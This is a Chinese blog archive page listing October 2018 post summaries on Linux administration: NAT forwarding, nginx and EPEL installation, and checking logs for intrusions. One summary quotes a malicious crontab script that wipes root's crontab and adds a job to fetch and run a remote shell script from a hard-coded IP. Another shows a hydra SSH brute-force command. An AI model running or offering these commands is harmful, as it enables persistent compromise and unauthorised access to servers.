10 2018 档案

摘要:☼ NAT 转发软路由 开启 NAT 转发之后,只要本机可以上网,不论是单网卡还是多网卡,局域网内的其他机器可以将默认网关设置为已开启 NAT 转发的服务器 IP ,即可实现上网。 信任所有连接,并且开放NAT(一句完成) firewall-cmd --zone=trusted --add-inte 阅读全文
posted @ 2018-10-30 14:14 ahuo 阅读(2401) 评论(0) 推荐(0) 编辑
摘要:Ubuntu14.04默认的安装源中安装的是Nginx 1.4.6 echo deb http://nginx.org/packages/ubuntu/ trusty nginx >> /etc/apt/sources.list.d/nginx.listecho deb-src http://ngi 阅读全文
posted @ 2018-10-30 10:37 ahuo 阅读(1121) 评论(0) 推荐(0) 编辑
摘要:export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "" > /var/spool/cron/root echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root echo "*/15 * * * * ... 阅读全文
posted @ 2018-10-28 00:02 ahuo 阅读(550) 评论(0) 推荐(0) 编辑
摘要:yum -y install epel-release 阅读全文
posted @ 2018-10-26 15:41 ahuo 阅读(1153) 评论(0) 推荐(0) 编辑
摘要:udo add-apt-repository ppa:pi-rho/security sudo apt-get update sudo apt-get install hydra hydra -l root -P pwd.txt -t 2 ssh://2.2.2.2 pwd.txt 11212312 阅读全文
posted @ 2018-10-18 10:47 ahuo 阅读(2558) 评论(0) 推荐(0) 编辑
摘要:终端登录情况 last ssh登录情况 cat /var/log/secure | grep -i "accepted password" 定时任务 cat /var/log/cron 统计尝试入侵的IP cat /var/log/secure|awk '/Failed/{print $(NF-3) 阅读全文
posted @ 2018-10-17 21:16 ahuo 阅读(677) 评论(1) 推荐(0) 编辑

点击右上角即可分享
微信分享提示